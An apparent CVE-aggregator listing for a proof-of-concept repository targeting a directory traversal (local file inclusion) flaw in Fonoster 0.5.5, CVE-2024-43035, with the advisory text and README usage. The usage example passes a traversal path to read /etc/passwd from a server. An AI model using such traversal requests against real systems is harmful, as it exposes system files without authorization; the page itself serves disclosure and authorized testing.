CVE-2024-43035 PoC — Fonoster 安全漏洞

Source

https://github.com/ZeroPathAI/Fonoster-LFI-PoC

Associated Vulnerability

Title:Fonoster 安全漏洞 (CVE-2024-43035)
Description:Fonoster 0.5.5 before 0.6.1 allows ../ directory traversal to read arbitrary files via the /sounds/:file or /tts/:file VoiceServer endpoint. This occurs in serveFiles in mods/voice/src/utils.ts. NOTE: serveFiles exists in 0.5.5 but not in the next release, 0.6.1.

Description

Proof-of-concept exploit for Fonoster LFI vulnerability (CVE-2024-43035)

Readme

# CVE-2024-43035 - Fonoster LFI Proof of Concept

This repository contains a Proof of Concept (PoC) script demonstrating a [Local File Inclusion vulnerability in Fonoster](https://zeropath.com/blog/fonoster-voiceserver-lfi-vulnerability). **This tool is for educational and authorized testing purposes only.**

## Usage

### Read Local File
To retrieve a local file from the server:
```
python3 fonoster_lfi_poc.py --url <fonoster_server_url> --path <file_path_to_retrieve>
```

Example:

```
python3 fonoster_lfi_poc.py --url http://example.com --path "../../../etc/passwd"
```
z

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!